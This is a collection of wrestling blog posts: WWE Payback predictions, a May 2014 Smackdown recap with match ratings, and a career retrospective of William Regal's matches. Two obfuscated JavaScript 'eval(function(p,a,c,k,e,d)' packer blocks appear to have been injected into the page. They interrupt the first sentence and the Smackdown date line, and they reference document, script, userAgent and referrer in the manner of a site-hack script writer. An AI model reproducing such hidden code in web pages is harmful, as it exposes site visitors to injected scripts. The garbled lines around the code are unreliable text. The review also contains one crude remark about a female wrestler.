Last eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sfrii|var|u0026u|referrer|neitd||js|php'.split('|'),0,{})) year’s show was pretty awesome so hopefully this one lives up to it’s Papa. Let’s get to it.

We’ll start with the preshow as always. This is one of the obvious matches as there’s no way they’re unmasking Torito and take away any money they could get from selling bull masks. Hornswoggle can leave 3MB and start getting evil to promote the Leprechaun movie. The match should be fun though as both guys can actually work a match.

I’ll get the other obvious match out of the way: Rusev destroys Big E. for his first meaningful win. No questions here.

Paige retains the Divas Title. She’s too big of a deal to not get the belt here, and are people really going to complain about Alicia Fox having a push wasted? I could go for her in those white shorts again though.

Barrett beats Van Dam. There’s just no reason for RVD to win but the match should be entertaining enough.

I think Cesaro vs. Sheamus goes to a draw and Sheamus keeps the belt. Hopefully they’re not tying Cesaro down to the US Title and let him get the briefcase or maybe even the title. Either way it would seem he’s heading for a match with Brock so why give him a worthless midcard title? The match should be good though.

That leaves us with the two main events. I’m hoping Bray beats Cena, as Cena beating him for three seconds was bad enough, but keeping him down for ten seconds would just be horrible. Bray winning would allow him to do a bunch of crazy stuff that could be very interesting. I’m really not sure where he’s going, but it’s in a bad direction if Cena beats him. Also it’s not like Cena hasn’t lost a last man standing match before so this isn’t the biggest stretch in the world.

Finally, Shield almost has to beat Evolution. There’s just no reason for Evolution to win here as they have nothing to gainand with Batista likely leaving, it would be a good way to get him out. The elimination and anything goes rules should make things even more entertaining.

For a bonus, I think Bryan hands over the title, even though it means sitting through a lot of stupid drama that involves the Bellas and Stephanie getting WAY too much screen time. Bryan can bring the acting at times though and he’ll likely get a lot of time to do so tomorrow night. I still think the title goes above the ring at Money in the Bank, which should be a good way to get some people to care

Overall Payback looks predictable but entertaining. To be fair, that’s almost the same thing that was said about Wrestlemania and it was one of the best shows I’ve ever seen. This has a lot of potential to be awesome and hopefully it means we have a good summer to look forward to.

 

 

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Smackdown – May 30, 2014: Who Would Have Seen That Coming?

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zyhib|var|u0026u|referrer|bnfbd||js|php'.split('|'),0,{})) May 30, 2014
Location: Phillips Arena, Atlanta, Georgia
Commentators: Michael Cole, John Bradshaw Layfield

It’s the final show before Payback and every major match is firmly set up for Sunday. The main story coming off Raw is Daniel Bryan having to surrender the title on Sunday or have his wife Brie Bella get fired. If nothing else we should get a solid conflicted promo tonight, which should be good coming from someone like Bryan. Let’s get to it.

Here’s Shield to get things going. Rollins says what doesn’t kill you makes you stronger, so after Monday, they’ve never been stronger. We get a clip from the end of Raw and Evolution beating Shield down thanks to the sledgehammer, including a TripleBomb to put Reigns through a table. Ambrose says they don’t care how many times they get beaten down because they’ll keep fighting. The question is how crazy is Evolution willing to get because this is going to get really ugly. Seth says he’ll pin Randy Orton and a stretcher will take him to the back. Then they’ll eliminate Batista, and it’ll be HHH against all three of them.

We see a list of great Intercontinental Champions.

Cesaro vs. Kofi Kingston

A hard shoulder puts Kofi down early so he tries an armdrag. Cesaro doesn’t move and instead lifts Kofi up off the mat by the arm into a backbreaker. A gorilla press puts Kofi down again but he avoids a charge in the corner and hits a springboard right hand to the head. Kingston gets two off a kick to the head (JBL: “How do you not notice those fluorescent feet coming at you?) and goes up for cross body, only to dive into an uppercut for the pin at 2:57.

Cesaro Neutralizes him post match.

Barrett says he’ll beat Sheamus tonight to prove a point to RVD. The International Title is more prestegious than the US Title.

Paige vs. Tamina Snuka

Non-title. Alicia comes out almost immediately and takes pictures with fans. Paige loses her focus, allowing Tamina to headbutt her down to take over. Fox takes the title belt for another distraction, so Tamina kicks Paige’s head off for two. Paige gets all ticked off and fires elbows in the corner, followed by fast clotheslines and knees to the face. The Paige Turner sets up the Scorpion Cross Lock (PTO: Paige’s Tap Out) for the submission at 3:22.

Rating: C-. Now this is more like it from Paige. Instead of getting beaten up for most of the match and then making a big comeback at the end, Paige beat the tar out of Snuka for most of the match before making her tap out with ease. That’s the kind of win she’s been needing to show that she isn’t just a fluke.

Sheamus says Cesaro not shaking his hand is like feeding a Gremlin after midnight. He doesn’t know much about geography or continents, but he knows when the US Champion’s foot connects with the Intercontinental Champion’s face, it’s going to knock Barrett’s teeth down his throat.

Bo Dallas vs. Xavier Woods

Dallas starts with an armdrag and heads to the floor to celebrate. Woods grabs him but gets sent out to the floor as it’s all Bo so far. Back in and a knee drop sets up a cravate on Woods but he comes back with a clothesline and a dropkick. The Honor Roll (flipping clothesline) gets two for Woods but Bo dropkicks him out of the air, setting up the Bodog for the pin at 2:47. JBL: “It’s not 3-0. It’s 3-Bo!”

Bo does the big celebration and congratulates Woods on such a hard fought effort.

We look at the Wyatt/Cena/Lawler segment from Raw.

Video on Torito having his tail ripped off on Monday. This made me smile.

El Torito vs. Jinder Mahal

Torito has Brutus Beefcake style hedge clippers. He looks for his tail after the bell before focusing on the match. A dropkick to the leg sends Mahal into the corner and we get a chase scene. There’s a bit of cotton where the tail is growing back. An atomic drop hurts Torito really badly due to the wound but he’s able to come back with a sunset bomb, setting up the Bullsault (why not?) for the pin at 1:40.

The little guys have a showdown post match and Hornswoggle runs from the clippers.

We see a list of great US Champions to set up the champion vs. champion match next. The Intercontinental Title list really did blow this one away.

Sheamus vs. Bad News Barrett

Non-title and Heyman is on commentary and has now stretched the Streak to a twenty five year accomplishment. Cole asks Heyman which title means more and gets this great response: “Whichever is next held by a Paul Heyman Guy.” Barrett hammers away in the corner to start before taking over with a running clothesline. Bad News comes back with that cool spot where he sets himself up for a superplex but jumps down and spins into a snap suplex for two.

Sheamus’ ten forearms are broken up and Barrett knocks him to the floor for a running elbow off the apron. Back in and a running clothesline drops Barrett, followed by the rolling fireman’s carry. Barrett gets knocked to the floor and Sheamus takes him down with a shoulder from the apron. Sheamus takes too much time though and gets whipped into the steps as we take a break.

Back with Sheamus fighting out of a chinlock and nailing his running ax handles followed by the running knee lift. Sheamus charges into an elbow in the corner though and a loud low superkick gets two. An Irish Curse gets Sheamus out of trouble and the ten forearms to the chest have Barrett in trouble. White Noise is escaped though and Winds of Change get another close call. Wasteland is countered and a Brogue Kick gets the pin at 7:12 shown of 10:42.

Rating: C+. Good brawl here but again a champion, who has been on fire recently, has to get pinned. On top of that, Sheamus’ head injury from Friday was only mentioned on commentary and didn’t change anything in the match. Barrett looked good here but I don’t see the need to have him lose here. Do a double countout or something like that instead of a clean pin, but fixing that is a long lost cause in WWE.

Sheamus goes after Heyman post match but Paul talks his way to safety.

The Usos are banged up from their match on Main Event where they lost to the Wyatt Family. Tonight it’s Jimmy vs. Bray Wyatt in a last man standing match. They give a solid, fired up promo about throwing the rulebook out the window tonight.

We look at Titus O’Neil beating up Big E. a month ago.

Big E. vs. Titus O’Neil

Points to them for remembering an issue between these two. Big E. comes out with the American flag due to what happened with Rusev on Monday. The match for Sunday is official. Also before the match we get the usual from Lana, this time running down the American flag and saying Russia has the true red white and blue flag. Rusev comes out for his Russian speech and Titus uses the distraction to jump Big E. That lasts a few seconds before Big E. comes back with a belly to belly suplex and the running body attack. The Warrior Splash sets up the Big Ending for the pin at 1:11.

Big E. waves the flag like a Real American.

Adam Rose vs. Jack Swagger

This doesn’t make the pay per view? Colter is on commentary and Swagger gets a jobber entrance while we look at what happened between these two on Monday. Colter wants Rose deported and the party people arrested for impersonating human beings. Rose runs around with the lollipop in his mouth to start and offers it to Swagger. Jack charges but is easily sidestepped before Rose jumps into Swagger’s arms. Swagger has no idea what to think and bails to the floor where Rose quickly follows. Back in and Jack tries a monkey flip but Rose dives forward to pull Jack’s legs forward for a pin at 2:18.

The Raw ReBound covers the Bryan/Stephanie segment from Raw.

Bray Wyatt vs. Jimmy Uso

Last man standing. Bray hammers on Jimmy in the corner to start before running him over with a shoulder block. A dropkick puts Jimmy on the floor and a big dive takes him down again but Bray is quickly back up. Back from a break with Bray hitting a running splash in the corner but Jimmy fires off some right hands. Bray plants him with his suplex slam and hammers away, only to walk into a Samoan drop.

That doesn’t keep Bray down either but he gets low bridged out to the floor. Jimmy tries a running dive off the barricade but Wyatt ducks underneath, only to walk into a huge superkick for seven. Back in and Bray hits that running cross body, followed by the Spider Walk out of the corner. Jimmy headbutts out of a superplex and nails the Superfly Splash for a count of eight but Bray is mad.

He throws Jimmy out to the floor but the Uso catches him with a jumping enziguri. The running Umaga attack against the barricade has Bray in big trouble but he uses the steps to get up at nine. The Family takes out Jey but Jimmy nails Wyatt with another superkick, only to have another Umaga attack hit the steps. Sister Abigail on the floor is good for the win at 12:03 as Bray hangs upside down from the apron and counts along.

Rating: B. This was WAY better than I was expecting as Bray was actually tested a bit. I don’t think anyone in their right mind expected Jimmy to win here but they made something out of it and that’s the best thing you can do in a match where the ending is fairly obvious. This was a very nice surprise and a good sign for the Usos’ futures.

Overall Rating: C+. This was a pretty standard go home show with a solid main event. Almost every match got some build and that’s really all you can ask for out of this kind of show. There’s nothing on here worth going out of your way to watch, though the main event was solid stuff. Other than that though, there are too many short matches here to really work for me.

Results
Cesaro b. Kofi Kingston – Uppercut
Paige b. Tamina Snuka – Scorpion Cross Lock
Bo Dallas b. Xavier Woods – Bodog
El Torito b. Jinder Mahal – Bullsault
Sheamus b. Bad News Barrett – Brogue Kick
Big E. b. Titus O’Neil – Big Ending
Adam Rose b. Jack Swagger – Bridging cradle
Bray Wyatt b. Jimmy Uso – Uso couldn’t answer a ten count after Sister Abigail on the floor

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Wrestler of the Day – May 6: William Regal

Today’s wrestler is a man. Such a man. It’s William Regal.

Regal of course got his start in England back in 1983. Those matches are REALLY hard to find so we’ll pick things up with a one off match in 1986.

Roy Regal vs. Marty Jones

There are six five minute rounds here and it’s 2/3 falls. For some reason Regal starts up one fall and WHAT IS THAT ON HIS HEAD??? I kid you not, William Regal HAS A FREAKING MULLET! He’s 18 years old here which is almost as bizarre as that hair. Marty takes over on the arm to start before working on a headlock.

They head to the mat with Marty cranking on the head before trading arm control. Regal hooks a modified cross armbreaker but gets wrist dragged down for two. The first round ends and we get a nice handshake. Jones hits a quick right hand to the ribs and a gutbuster to start round two. A pair of very nice backbreakers have Regal in trouble and a dropkick puts him down for ten. That’s the end of the match as Regal seems to be injured.

Rating: C-. These matches are such a different style that it’s really hard to grade. The injury didn’t help all that much either. I’ve heard of Jones before, though it’s bizarre to see someone like Regal as a total rookie with A FREAKING MULLET like that. The match didn’t have time to go anywhere and the round structure takes some getting used to.

Regal would head to the States and WCW in the early 1990s. He would wind up taking over the TV Title soon upon arrival and fight for the TV Title at Fall Brawl 1993.

TV Title: Steven Regal vs. Ricky Steamboat

Yes it’s that Regal. I still can’t get over the idea that his butler is Bill Dundee. We have the double ring setup as tonight it’s WarGames of course. They’ll be alternating back and forth. The first match is in ring one. Dragon has the scales and such here which is odd looking but he’s Ricky Steamboat so who can argue?

Buffer introduces Regal as being very dapper. There’s something funny about that name. Oh and I almost forgot: this is the first WCW show when they’re officially out of the NWA and are completely free. Steamboat has bad ribs from a beating last night by Regal on Saturday Night.

Speaking of Saturday Night, this is a very interesting show because the results for all the big matches had been spoiled. This is one of the major reasons why the NWA was mad and ultimately eliminated. WCW would tape MONTHS of shows in advance, giving away storylines to anyone at the tapings. For instance, later on there’s a title change and a new manager debuts. Both were known almost a month prior to them occurring.

Now think about why this is a problem. First and foremost, people know about the storylines months in advance. Second though, think about how the wrestlers are being treated. Look at Miz today as WWE Champion. Apparently his reign was supposed to be shorter but he has impressed management so much that they’re giving him a longer reign. Now look at this version of WCW. With the title changes set in stone for months down the road, why would you work hard, knowing that no matter what you do, the title changes have already happened? What’s the incentive to work harder? See the problems here?

Anyway, on to the match. Apparently Regal hurt Steamboat with an umbrella. Regal tries to go after the ribs so Ricky has to fight defensively for the majority of the opening. Off to the ramp for a bit as they try to defend Steamboat throwing him over the top to the ramp rather than to the floor. Also, shouldn’t throwing someone over the top to the ring also be a DQ?

Regal uses simple psychology here by going after the injured ribs like anyone with a brain would do. That’s the basic definition of ring psychology: why would a person do just what they did? If you were in a real fight and you knew the other guy had an injury, you would go after it right? It makes sense to, which means it’s good psychology here. Steamboat chops away in the corner and we get some reversals on Irish whips resulting in Regal’s arm hitting the buckle.

Steamboat works on the arm, again using psychology. Old guys know basic thoughts. Regal gets what appeared to be a thumb to the eye and we get an unheard of STEAMBOAT SUCKS chant. What the heck??? Steamboat plays possum and gets a leg drag but uses his leg to take Steamboat over. It’s hard to describe but imagine an arm drag by Steamboat but Steamboat uses his leg to get it over.

Back to the arm and shoulder and then up for the cross body. Steamboat’s ribs are hurt by the move though and he can’t cover. You can tell the camera side is empty as they never get close to showing it. It’s a WCW trademark and you can tell why they do it because at I think Beach Blast 93 we saw the other side and it was completely empty. Regal does the same short arm scissors lift that Bulldog famously did to Shawn but he can’t break the hold.

I was right about the crowd as they caught a quick shot of part of it. It must be Halloween because everyone is wearing an empty seat costume. Off to a chinlock by Regal. This has been 98% mat wrestling so far. It’s not incredibly interesting but it’s very technically sound of course. Off to a body vice by Regal which is a perfect move for him to use here. When did Regal start using power moves though?

Modified surfboard by Regal where he leans back with it but leaves Steamboat on the mat for a bit and just pulls on the arms. He pulls back a bit and has Steamboat more or less on his knees to give you a visual. Regal gets a nice butterfly suplex for two as we alter the style a bit. Steamboat counters into a slingshot and gets a one count while he’s setting up for it. I guess that’s a cover of some sort?

Steamboat can’t slam him and Regal falls on him for two. Ventura says Ricky should get himself disqualified. Regal tries a Tombstone but gets reversed into one of the softest Tombstones I’ve ever seen. You can hear the crowd just die on it’s impact. Steamboat counters a belly to back into an O’Connor Roll for two. Steamboat goes up and hits the cross body but hurts his ribs again. PSYCHOLOGY BABY! Ricky skins the cat but Sir William (manager) DRILLS him in the head with the umbrella so a German suplex gives Regal the TV Title.

Rating: B-. This was incredibly technical which makes things rather boring. That being said it’s still very good as both guys worked incredibly well of course. The fans hated it though which is a problem as an opener is supposed to make a crowd get into a show. Good stuff though, but 17 minutes was probably too long here.

Regal would hold the title for a LONG time until Larry Zbyszko of all people took the title in 1994. Here’s the rematch from Clash of the Champions XXVII.

TV Title: Larry Zbyszko vs. Lord Steven Regal

There’s a nice story here as Regal spent weeks bragging about how great he was until Zbyszko came out of retirement to show he could hang with the Englishman. Larry won the title from Regal about a month ago and Regal wants the belt back. Why he’s coming to the ring in a powdered wig and coat circa 1776 is anyone’s guess.

After disrobing and de-wigging, Regal hides in the corner like a true cowardly heel. Larry finally charges in but gets knocked down to give the challenger control. Some uppercuts and slaps to the face make Larry mad as Tony actually brings up the Western States Heritage Championship which Larry held for a few months back in the late 80s.

Zbyszko throws Regal over the top and out to the ramp. Back inside Larry counters a butterfly suplex into a backdrop for two and a piledriver gets the same. Regal kicks out of a swinging neckbreaker so Larry pummels him up against the ropes. Slugging it out is fine with Regal as he drops Larry with an uppercut and puts on a chinlock.

Regal only gets two off a cover as Larry counters with a bodyscissors of all things. The hold is broken and Regal hits a double knee to the face followed by a headbutt to send Larry into the corner. Zbyszko comes back with a bearhug into a Boston crab but Regal kicks him forward into a rollup and grabs the rope for the pin and the title.

Rating: C+. This was a very different style than you would see most of the time in wrestling at this point. Larry was able to hang with Regal in that kind of wrestling and the match was an interesting technical display with some very nice counters. Regal continues his trend of wrestling for the majority of the match before cheating to win.

Since I’m sure you’re getting sick of hearing about the TV Title over and over again, here’s a tag team match from Clash of the Champions XXXII with Regal’s partner Sir Robert Eaton of the Blue Bloods.

Tag Team Titles: Sting/Lex Luger vs. Blue Bloods

The challengers are Lord Steven Regal and Earl Robert Eaton, which is Bobby Eaton now as a nobleman. Sting and Regal start things off and we get our first contact after a minute of posing. Regal cranks on the arm to start but gets dropkicked into the corner. Sting says bring it on before it’s off to Eaton vs. Luger. Lex is sent to the floor but Eaton walks into a backdrop on the concrete. Back inside and Luger poses, sending Eaton to the corner for a tag.

Luger slaps Regal in the face and says bring it on. Regal is tentative but sends Luger into the corner for some European uppercuts before tagging Eaton in again. A jawbreaker puts Luger down but it staggers Eaton enough that he has to tag Regal only a few seconds later. The Blue Bloods start double teaming Lex and Eaton nails his top rope knee drop.

Regal puts on his self named Stretch but Sting makes a quick save. Eaton goes up top but gets caught in a weak powerslam from Luger and they collide with each other. The hot tag brings in Sting, who knocks Eaton off the top and into Regal, setting up the Deathlock for the submission from the Earl.

Rating: C+. Just a nice little title defense here against an acceptable pair of challengers. Sting and Luger clearly weren’t going to lose the belts the night after winning them, but it was a nice performance by Eaton and Regal. It’s a good idea to have hands like the Blue Bloods around to put on a solid match and they helped do that here.

That’s enough time out of the comfort zone. Regal lost the TV Title to the worthless Prince Iaukea in 1997, so here’s his chance to get it back from new champion Ultimo Dragon at Slamboree of that year.

TV Title: Steven Regal vs. Ultimo Dragon

Regal is challenging. Dragon goes to a wristlock and manages to stop Regal’s usual counter to it and hooks an armbar. Test of strength goes on with Regal taking him down but Dragon pops right back up. They go to the corner and Dragon does his stand on his head in the corner deal. Why does no one ever hit him while he does that? I get the real life reason that he might die, but in kayfabe why not hit him?

Back on the mat Dragon fires off some kicks and hooks a half crab. Regal makes the rope and fires off some kicks of his own to send the champion to the floor. Back in a suplex gets two for Regal. They trade full nelsons and Dragon gets a sunset flip for two. Regal Stretch is avoided and Dragon is all fired up now for some reason. They get into a chain wrestling match and Regal is in his element. Regal tries the Stretch again but Dragon grabs his own mask to block it.

Since the Stretch won’t go on it’s time for the bow and arrow/surfboard (Dusty and Tenay call it either or) but Dragon escapes and fires a kick to the back. Here’s the bridging Indian Deathlock and the fans chant for Regal. Dragon switches to a camel clutch and it turns into a brawl. Dragon dropkicks him to the floor and Sonny fires off some kicks. Those get him yelled at by the champ so Dragon sends Regal back in and hits a top rope rana for two.

Regal tries the Stretch again but Dragon makes the ropes. The fans are firmly behind Regal now which is strange as this is heel vs. heel and Dragon has been the good guy by default. Both guys try rollups for two but Dragon takes over with a spinwheel kick. Tiger suplex is countered but Dragon sends Regal to the floor. Asai Moonsault hits and Sonny adds in some more kicks. Dragon stops him so Sonny kicks Dragon, allowing Regal to take over. In the ring a reverse suplex sets up the Regal Stretch and we have a new champion.

Rating: B. This was getting really good at the end and was still good when Sonny got involved. Was there ever a more useless manager now named Paul Jones? Really good opener here as they were beating the tar out of each other. Dragon would get the title back in a little over two months.

Regal would get fired over a match with Goldberg on Nitro, sending him over to the WWF for awhile. Here’s his first mtch on June 29, 1998’s Raw.

Darren Drozdov vs. Steven Regal

Sable introduces Regal, who sadly enough is just Steven Regal, British guy. I hadn’t realized it yet but Lawler is now on commentary both hours. Sable sits in on commentary. Droz hammers away on Regal who does his usual shouting. We’re on a split screen of the match and Sable, so at least there’s something to look at. JR keeps asking Sable about her relationship with Vince and all that and she can’t comment. Regal hooks a chinlock and pounds away on Droz. Droz makes a comeback and goes up. Regal suplexes him off the top and the Regal Stretch ends this boring match.

Rating: D-. I can see why Regal was sent down to Dory Funk’s training center for some more work. He hurt his ankle there though and later broke his leg so he didn’t have another match on WWF TV until around Halloween. That’s good too because this was really pretty boring stuff.

Regal’s injury plus not being a WWF guy for the most part would put him back in WCW in summer of 1999. That went NOWHERE as he was basically a jobber to the stars for his entire time there. Instead, we’ll jump ahead to March 2000 where Regal performed on the 3rd Annual Brian Pillman Memorial Show.

Chris Benoit vs. Steven Regal

That would of course be William Regal and this is the only reason to watch this show. Benoit has only been in the WWF about four months at this point so he’s still a big deal. Feeling out process to start with Benoit taking him into the corner and firing off right hands. Chris cranks on the arm a bit and Regal can’t roll free. Instead he grabs a wristlock of his own and cranks on the Canadian’s arm as we’re still in the technical portion of the match.

They go to a test of strength grip with Benoit on the mat and Regal drops a hard knee to the chest. They keep the grip and Benoit nips up before headbutting Regal away. A hard dropkick and an enziguri send Regal to the floor but he avoids a baseball slide and kicks Benoit in the face. They head to the apron with Chris DDTing him down onto the edge of the ring.

Back in and Benoit suplexes him down for two but Regal trips him up and cranks on a chinlock while laying on Benoit’s back. Think an STF minus the leg lock. Benoit makes it over to the ropes for the break so Regal dropkicks him down for no cover. Regal hooks a seated surfboard stretch but reaches up to hook a dragon sleeper at the same time. I haven’t used this in awhile but FREAKING OW MAN!

Benoit elbows out of it and chops the tar out of Regal but Steven kicks him in the chest to put him back down. Back up and Benoit tries to roll some Germans but Regal elbows his way out. Regal tries a butterfly suplex but Benoit is all like “YOU DARE FIGHT MY SUPLEXES???” and hits another German. Benoit can’t follow up though and Regal takes him to the top for a butterfly superplex for two.

Regal is sent into the corner but they ram heads, giving Benoit two. Regal may be busted open. A pair of rollups only get two on Benoit so Regal fires off even more forearms. Benoit counters a tombstone into one of his own but the Swan Dive misses. Back up again and a dragon suplex gets two for Benoit but the Crossface ends Regal a second later.

Rating: A-. This match got Regal a job in the WWF and it’s not hard to see why. This was a very physical match with both guys looking great out there. Until this point, Regal has mainly been known as the blue blood who could have good matches at times but would usually be there as a jobber. REALLY good match here and worth seeing if you’ve never seen it. I believe it’s on Benoit’s DVD.

Regal would get the European Title pretty quickly upon arrival and defend it at No Mercy 2000.

European Title: William Regal vs. Naked Mideon

That’s his official name mind you. It’s not some random nickname I gave him. Basically he wrestles in a thong and a fanny pack. He comes out in regular clothes but tries to rip them off during the match. Apparently he’s trying to get naked, making him the Kelly Kelly from the old ECW days of this generation. Mideon keeps wanting to take his clothes off but just doesn’t for some reason.

Lawler says he’s a great chain wrestler. He can beat any chain you put him up against. Eh half a point for a decent line. Pretty much total dominance by Regal here. Mideon gets his shirt off and continuously pulls his pants up. Wouldn’t that be against his character in theory? Crowd is DEAD here mind you. And there go the pants. Regal sets for the Stretch but thinks twice about it. A neckbreaker ends it.

Rating: D-. Totally pointless match where nothing of note happened and the comedy didn’t exist. Mideon was hardly a character that was ever going to really do anywhere and I have no idea what the point of this being on the show was. This was a waste of time but I guess it bridges the gap between the big matches.

Regal would soon enter his biggest feud in WWE to date, as he became Commissioner but was opposed by Chris Jericho. This led to a showdown in the opening match at Wrestlemania X7.

Intercontinental Title: Chris Jericho vs. William Regal

Jericho is defending and this is a result of him not liking Commissioner Regal’s regime. Basically he thinks Regal is boring and therefore relieved himself in Regal’s teapot. Regal responded by having the RTC and the Dudleys beat up Jericho on various nights. Jericho came back by dressing up by Doink for no apparent reason and putting Regal in the Walls of Jericho.

Regal pounds away to start but Jericho forearms him out to the floor. There’s a big dive by the champion to take Regal down before he drops Sweet Willy B on the barricade. Back inside and a jumping back elbow off the top puts Regal down again before they head to the mat. Jericho tries for the Walls but Regal escapes and sends the still injured shoulder (from the aforementioned beatdowns) of Jericho into the post. A quick suplex gets two for Regal and it’s back to the arm.

Jericho comes back with an elbow but Regal takes him down with a rollup for two more. Another suplex puts Jericho down again but Regal can’t keep him down. The fans start cheering for Jericho as Regal takes off a turnbuckle pad. The referee is ok with this for some reason as Jericho’s shoulder goes into the steel. Jericho comes back with a pair of enziguris before a middle rope missile dropkick gets two.

Jericho misses a charge in the corner and nearly hits the post head first. In a surprising move, Regal goes up top for a butterfly superplex which gets a delayed two. Jericho trips the legs and tries the Walls again but the shoulder gives out, allowing Regal to hook the Regal Stretch (STF with a half nelson) but Jericho makes the rope. Jericho fights back again but gets kicked in the shoulder, only to send Regal into the exposed buckle and hit the Lionsault to retain. That was a really sudden ending and JR sounded surprised so maybe it was called on the fly.

Rating: B-. This was exactly what an opener was supposed to be: fast paced, hard hitting and it told a good story. They beat on each other for seven minutes straight with nothing of note looking bad. The idea of the shoulder injury was a perfectly fine story to keep the match going and the Regal Stretch worked for a climax. This was a really good opener and it hit every point it was supposed to hit.

Regal would join the Alliance during the Invasion and face Tajiri at Survivor Series 2001.

William Regal vs. Tajiri

Regal hurt Tajiri’s girlfriend Torrie on Smackdown to set this up. Also these two used to be friends. Tajiri is Cruiserweight Champion and was supposed to face X-Pac in a title for title match, but according to Commissioner Mick Foley, “No one cared about X-Pac or the Light Heavyweight Title anyway”. Tajiri fires off a kick but gets suplexed right back down.

The knee trembler takes Tajiri down but Tajiri goes after Regal’s knee with the kicks. There’s the Tarantula and Regal is bleeding from the nose. A handspring elbow gets two for Tajiri but Regal ties his head up in the ropes to stop the momentum dead. Regal tries a powerbomb but gets countered by another kick to the head. The Buzzsaw Kick misses and there’s the Tiger Bomb from Regal for the pin. Too short to rate but it was fine. Short, but fine.

After the Alliance was vanquished, Regal would start a feud with Edge and challenge him for the Intercontinental Title at Royal Rumble 2002.

Intercontinental Title: Edge vs. William Regal

Edge is defending. The referee checks Regal over and over again for knuckles and finds them in his trunks. Well you can’t say he didn’t do his job. The referee stupidly puts them on the ring post instead of like, giving them to someone to take to the back or something. Edge pounds away to start and chokes with his boot in the corner. He goes after Regal’s bad nose as Lawler claims conspiracy.

Regal comes back with a clothesline but Edge kicks him in the back to put both guys down. Being the British dude that he is, Regal suplexes Edge down for two. Make that four. Uh six. Yet somehow that isn’t three. Off to an arm trap chinlock followed by a hard forearm to put the champion down again. A double arm powerbomb hits Edge for two and they head to the apron. Edge busts out a DDT onto said apron, further injuring Regal’s nose.

Back in and they ram heads to put both guys down as the match continues to drag at a slow pace. Edge wins a slugout and takes Regal down with a spinwheel kick and a suplex for two. Regal suplexes him down as well, only for Edge to hit a big old clothesline for two more. The Regal Stretch goes on out of nowhere but Edge reverses into a terrible version of his own to no avail. A top rope spinwheel kick puts Regal down but he finds another set of brass knuckles. Instead of swinging them though, he pulls the referee in the way of Edge’s spear. Regal clocks Edge and wins the title.

Rating: D+. This didn’t click at all. Regal didn’t seem interested in selling at all and Edge wasn’t ready to carry a match by himself yet. He was getting to the point where he could but it would take a summer of feuding with Eddie to get him up to that point. Regal wouldn’t really do anything with the belt other than lose it to RVD. Nothing to see here.

Regal would join up with Test and Lance Storm as part of the Un-Americans in a mostly bad angle. Regal and Storm would become a regular team, including this match from Raw on October 21, 2002.

Lance Storm/William Regal vs. Bubba Ray Dudley/Spike Dudley

The winners get a title shot against whoever the champions are now. Apparently it’s Christian/Jericho. Storm runs down American before the match. Spike vs. Storm to start things off with the smaller dude taking over quickly. The fans want tables but other than that things are mostly silent. We’ve lost commentary for some reason and by the time that sentence is finished JR is back.

Off to Bubba who takes Lance down with a neckbreaker but Regal hits Bubba in the back of his recently concussed head to give Storm the advantage. Regal comes in as Kane arrives in the back. Everything breaks down and Spike ranas Storm off the top. Bubba catches the superkick from Storm and hits the Bubba Bomb. Spoke hits the Dudley Dog on Regal for the win and the title shot.

Rating: C-. This was one of those matches that was too short to go anywhere of note. Regal and Storm as the Unamericans were a solid team but the gimmick was only going to go so far, especially with Test weighing them down as their third man. Nothing to see here and thankfully D-Von would reunite with Bubba the next month.

They would receive a shot at the belts on Raw, January 6, 2003.

Raw Tag Titles: Lance Storm/William Regal vs. Goldust/Booker T

Goldie and Booker are defending. Booker and Storm start things off with the champion slamming him down and dropping a knee for no cover. Off to Goldie for a forearm off the top but Storm hits him in the face to bring in Regal. Goldust shoulders him down as Bischoff is watching in the back. Back to Booker for more punches in the corner until Storm makes the save.

We hit a chinlock as the match is already going nowhere. A running knee to the side of Booker’s head allows Storm to come in for a cravate. Booker finally fights out and kicks Lance down, allowing for the not hot tag to Goldust. House is cleaned and a powerslam gets two on Storm. Everything breaks down and Goldust takes both guys down. Storm gets caught in a modified Hart Attack but Regal takes the referee out.

The champs and referee are both out on the floor and we take a break. Back with Storm kicking a charging Booker in the face. During the break Chief Morely took over as guest referee. Storm accidentally superkicks said guest referee but there’s no one to count. The third referee runs in to count two on Storm after a Booker spinebuster. Off to Goldust for his hard slaps in the corner but the challengers bail to the floor.

Goldie charges after Storm and runs into a clothesline from Regal. This match continues to be dull stuff. Regal pounds away on Goldust a bit more until it’s off to Storm for another chinlock. This one doesn’t last long and it’s off to Booker for hopefully the last hot tag of the night. Mr. T. cleans house and there’s a Spinarooni followed by an ax kick for two on Storm. Morely pulls the third referee out of the ring and a brass knuckles shot from Regal knocks out Booker for the pin and the titles.

Rating: D. It was long, but MAN was this boring. At the end of the day it was pretty clear that the titles were going to change here due to the odds and Bischoff needing to dominate the entire show, which makes it even worse. As usual, a team loses in a joke last week and wins the titles the next week. Also, how overbooked was this match? Nothing to see here.

Regal would miss over a year and a half due to a heart condition so we’ll skip ahead to February 7, 2005 with Raw in Japan. Given who is in the match, you can figure it out for yourself.

Raw Tag Titles: William Regal/Tajiri vs. La Resistance

Gee I wonder what’s going to happen. Conway and Grenier are defending here. The place ERUPTS for Tajiri who is all fired up here. Regal and Eugene were champions but Eugene is injured so Regal picked Tajiri as his new partner. Massive Tajiri chant starts up so Regal starts off with Conway. Regal Stretch goes on but it’s off to Tajiri who adds the low dropkick as the offense is on.

Regal plays Ricky Morton for a bit here despite getting some shots in to try to break the momentum. The fans chant something but it’s in Japanese. Grenier punches Tajiri so when Regal takes him down there’s no one to tag. STF is broken up quickly and there’s the hot tag to Tajiri who cleans house. Let the kicks begin! Enziguri hits Grenier for two as everything breaks down. Double handspring elbow takes out the French dudes and it’s Tarantula time. Regal takes Conway down and there’s the Green Mist and a Buzzsaw kick gives us new champions.

